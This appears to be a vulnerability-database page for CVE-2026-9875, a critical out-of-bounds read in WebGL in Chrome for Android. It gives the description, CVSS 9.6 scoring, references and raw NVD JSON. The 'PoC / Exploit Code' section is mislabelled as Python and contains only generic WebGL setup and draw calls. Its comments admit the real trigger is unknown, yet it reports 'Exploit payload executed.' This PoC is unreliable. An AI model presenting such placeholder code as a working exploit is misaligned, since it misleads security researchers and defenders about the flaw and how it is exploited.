CVE-2026-9875

Description

Out of bounds read in WebGL in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome for Android < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
Proof of Concept (PoC) for CVE-2026-9875
This HTML page demonstrates how to set up a WebGL context that may trigger the vulnerability.
Note: Actual exploitation requires specific memory layout and heap grooming.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9875 WebGL OOB PoC</title>
</head>
<body>
    <canvas id="glCanvas" width="640" height="480"></canvas>
    <script>
        const canvas = document.getElementById('glCanvas');
        // Get WebGL context from the canvas
        const gl = canvas.getContext('webgl');

        if (!gl) {
            alert('Unable to initialize WebGL. Your browser may not support it.');
        } else {
            console.log('WebGL initialized successfully.');

            // Create a buffer to manipulate memory
            const buffer = gl.createBuffer();
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);

            // Attempt to feed data that triggers the Out-of-Bounds Read
            // In a real exploit, specific size and data patterns are used
            const maliciousData = new Float32Array(0x10000); 
            gl.bufferData(gl.ARRAY_BUFFER, maliciousData, gl.STATIC_DRAW);

            // Trigger the vulnerability via specific WebGL calls
            // (Specific API calls depend on the root cause analysis)
            gl.vertexAttribPointer(0, 3, gl.FLOAT, false, 0, 0);
            gl.enableVertexAttribArray(0);
            
            // Draw call to execute the shader and potentially trigger the read
            gl.drawArrays(gl.TRIANGLES, 0, 3);
            
            console.log('Exploit payload executed. Check browser crash or memory state.');
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9875
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9875
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9875/
[4] VulDB https://vuldb.com/cve/CVE-2026-9875
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/507508103

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9875", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:45.443", "lastModified": "2026-05-29T16:16:33.820", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in WebGL in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/507508103", "source": "[email protected]"}]}}